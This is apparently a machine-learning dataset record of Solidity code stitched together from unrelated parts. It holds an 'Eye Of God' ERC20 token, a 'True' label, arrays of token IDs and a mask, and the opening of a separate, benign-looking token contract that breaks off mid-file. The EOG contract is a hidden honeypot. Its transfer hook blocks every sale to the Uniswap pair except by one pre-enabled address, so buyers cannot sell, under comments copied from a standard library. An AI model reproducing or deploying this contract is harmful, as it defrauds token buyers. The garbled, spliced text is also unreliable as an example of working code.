) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address=>bool) private _enable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_mint(0xc9F7C6E6955f5f5936245cb7679153BbBeaB6956, 1000000000 *10**18);
_enable[0xc9F7C6E6955f5f5936245cb7679153BbBeaB6956] = true;
// MainNet / testnet, Uniswap Router
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
_name = "Eye Of God";
_symbol = "EOG";
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5709,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2861,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-03
*/
pragma solidity ^0.6.8;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index)
public
view
returns (address)
{
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to grant"
);
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(
hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to revoke"
);
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(
account == _msgSender(),
"AccessControl: can only renounce roles for self"
);
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance =
allowance(account, _msgSender()).sub(
amount,
"ERC20: burn amount exceeds allowance"
);
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
